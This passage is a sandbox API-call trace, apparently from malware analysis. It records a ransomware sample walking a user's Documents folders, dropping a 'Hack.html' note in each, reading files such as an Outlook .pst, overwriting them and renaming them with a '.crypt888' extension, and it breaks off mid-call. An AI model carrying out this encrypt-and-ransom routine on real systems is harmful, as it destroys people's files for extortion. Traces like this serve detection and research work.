[0082.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\j1vM8CP5WMWbjuO\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\j1vm8cp5wmwbjuo\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.311] GetFileType (hFile=0x174) returned 0x1 [0082.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.311] GetFileType (hFile=0x174) returned 0x1 [0082.311] WriteFile (in: hFile=0x174, lpBuffer=0x27a15e8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27a15e8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.312] CloseHandle (hObject=0x174) returned 1 [0082.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.312] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music", lpFilePart=0x0) returned 0x30 [0082.312] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\", lpFilePart=0x0) returned 0x31 [0082.312] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0xffffffff [0082.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed54) returned 1 [0082.314] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\Hack.html", lpFilePart=0x0) returned 0x3a [0082.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.315] GetFileType (hFile=0x174) returned 0x1 [0082.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.315] GetFileType (hFile=0x174) returned 0x1 [0082.315] WriteFile (in: hFile=0x174, lpBuffer=0x27a4a20*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27a4a20*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.316] CloseHandle (hObject=0x174) returned 1 [0082.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures", lpFilePart=0x0) returned 0x33 [0082.316] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\", lpFilePart=0x0) returned 0x34 [0082.316] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0xffffffff [0082.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed54) returned 1 [0082.318] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\Hack.html", lpFilePart=0x0) returned 0x3d [0082.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.319] GetFileType (hFile=0x174) returned 0x1 [0082.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.319] GetFileType (hFile=0x174) returned 0x1 [0082.319] WriteFile (in: hFile=0x174, lpBuffer=0x27a7e90*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27a7e90*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.320] CloseHandle (hObject=0x174) returned 1 [0082.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0082.321] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpFilePart=0x0) returned 0x32 [0082.321] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a728 [0082.321] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.321] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.322] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.322] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0082.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes", lpFilePart=0x0) returned 0x31 [0082.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\", lpFilePart=0x0) returned 0x32 [0082.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a728 [0082.323] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.323] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.323] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0082.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0082.324] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0082.324] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", lpFilePart=0x0) returned 0x3b [0082.324] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0082.326] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.326] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.326] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0082.326] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0082.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0082.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0082.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0082.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private", lpFilePart=0x0) returned 0x3a [0082.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\", lpFilePart=0x0) returned 0x3b [0082.327] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a728 [0082.327] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.327] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0082.327] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0082.327] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0082.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0082.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0082.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x45 [0082.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0082.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.329] GetFileType (hFile=0x174) returned 0x1 [0082.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0082.329] GetFileType (hFile=0x174) returned 0x1 [0082.329] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x74e6 [0082.329] ReadFile (in: hFile=0x174, lpBuffer=0x27ac654, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27ac654*, lpNumberOfBytesRead=0x39ecf0*=0x74e6, lpOverlapped=0x0) returned 1 [0082.341] CloseHandle (hObject=0x174) returned 1 [0082.382] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x45 [0082.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0082.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0082.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0082.393] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\Hack.html", lpFilePart=0x0) returned 0x44 [0082.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0082.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.394] GetFileType (hFile=0x174) returned 0x1 [0082.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0082.394] GetFileType (hFile=0x174) returned 0x1 [0082.394] WriteFile (in: hFile=0x174, lpBuffer=0x2826fe8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2826fe8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0082.395] CloseHandle (hObject=0x174) returned 1 [0082.395] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Hack.html", lpFilePart=0x0) returned 0x3b [0082.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.397] GetFileType (hFile=0x174) returned 0x1 [0082.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.397] GetFileType (hFile=0x174) returned 0x1 [0082.397] WriteFile (in: hFile=0x174, lpBuffer=0x28297d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x28297d8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.399] CloseHandle (hObject=0x174) returned 1 [0082.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos", lpFilePart=0x0) returned 0x31 [0082.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\", lpFilePart=0x0) returned 0x32 [0082.400] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0xffffffff [0082.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed54) returned 1 [0082.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\Hack.html", lpFilePart=0x0) returned 0x3b [0082.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.401] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.402] GetFileType (hFile=0x174) returned 0x1 [0082.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.402] GetFileType (hFile=0x174) returned 0x1 [0082.402] WriteFile (in: hFile=0x174, lpBuffer=0x282cc18*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x282cc18*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.403] CloseHandle (hObject=0x174) returned 1 [0082.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0082.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", lpFilePart=0x0) returned 0x36 [0082.404] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.404] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.404] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.404] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.405] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.405] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files", lpFilePart=0x0) returned 0x35 [0082.405] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", lpFilePart=0x0) returned 0x36 [0082.405] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.405] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.406] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.406] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.406] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c [0082.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0082.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.406] GetFileType (hFile=0x174) returned 0x1 [0082.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0082.407] GetFileType (hFile=0x174) returned 0x1 [0082.407] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x42400 [0082.408] ReadFile (in: hFile=0x174, lpBuffer=0x370b288, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x370b288*, lpNumberOfBytesRead=0x39ed24*=0x42400, lpOverlapped=0x0) returned 1 [0082.448] CloseHandle (hObject=0x174) returned 1 [0082.511] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c [0082.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0082.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0082.515] GetFileType (hFile=0x174) returned 0x1 [0082.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0082.515] GetFileType (hFile=0x174) returned 0x1 [0082.515] WriteFile (in: hFile=0x174, lpBuffer=0x3856708*, nNumberOfBytesToWrite=0x42410, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x3856708*, lpNumberOfBytesWritten=0x39ed14*=0x42410, lpOverlapped=0x0) returned 1 [0082.520] CloseHandle (hObject=0x174) returned 1 [0082.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpFilePart=0x0) returned 0x4c [0082.523] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.crypt888", lpFilePart=0x0) returned 0x55 [0082.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0082.523] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc261b320, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x42410)) returned 1 [0082.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0082.523] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.crypt888" (normalized: "c:\\users\\5p5nrgjn0js 